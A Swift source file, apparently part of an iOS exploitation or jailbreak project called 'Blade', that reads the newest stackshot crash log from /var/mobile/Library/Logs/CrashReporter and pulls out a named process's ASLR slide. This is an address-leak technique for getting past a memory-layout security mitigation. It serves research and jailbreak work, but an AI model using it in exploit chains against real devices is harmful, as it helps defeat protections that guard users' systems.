Get ASLR slide from .ips (requires read to /var/mobile/Library/Logs/CrashReporter)

ASLR.swift

//
//  ASLR.swift
//  Blade
//
//  Created by roooot on 04.06.26.
//  AGPLv3
//

import Foundation

func get_stackshot() -> String? {
    let dir = "/var/mobile/Library/Logs/CrashReporter"
    let fm = FileManager.default

    guard let files = try? fm.contentsOfDirectory(atPath: dir) else {
        return nil
    }

    let stackshots = files
        .filter { $0.hasPrefix("stacks-") && $0.hasSuffix(".ips") }
        .map { "\(dir)/\($0)" }

    return stackshots
        .max(by: { (a, b) -> Bool in
            let ta = (try? fm.attributesOfItem(atPath: a)[.modificationDate] as? Date) ?? .distantPast
            let tb = (try? fm.attributesOfItem(atPath: b)[.modificationDate] as? Date) ?? .distantPast
            return ta < tb
        })
}

func slide_by_name(path: String, name: String) throws {
    let file = try String(contentsOfFile: path)

    guard let line = file.split(separator: "\n")
        .first(where: { $0.contains("\"name\":\"\(name)\"") }) else {
        print("(aslr) '\(name)\' not found")
        return
    }

    let line_str = String(line)

    guard let pidpart = line_str.split(separator: "\"").first(where: { $0.allSatisfy({ $0.isNumber }) }),
          let pid = Int(pidpart) else {
        print("(aslr) invalid pid")
        return
    }

    guard line_str.contains("resampled_images") else {
        print("(aslr) '\(name)' (\(pid)) has no resampled_images")
        return
    }

    print("(aslr) process: \(name) (\(pid))")

    let regex = try! NSRegularExpression(pattern: #"\["[^"]+",([0-9]+)"#)
    let range = NSRange(line_str.startIndex..<line_str.endIndex, in: line_str)

    for match in regex.matches(in: line_str, range: range) {
        if let r = Range(match.range(at: 1), in: line_str),
           let addr = Int(line_str[r]) {
            print("(aslr) slide: 0x\(String(addr, radix: 16)) (\(addr))")
        }
    }
}

func get_slide(_ name: String) {
    guard let file = get_stackshot() else {
        print("(aslr) no stackshots found")
        return
    }

    do {
        try slide_by_name(path: file, name: name)
    } catch {
        print("(aslr) error: \(error)")
    }
}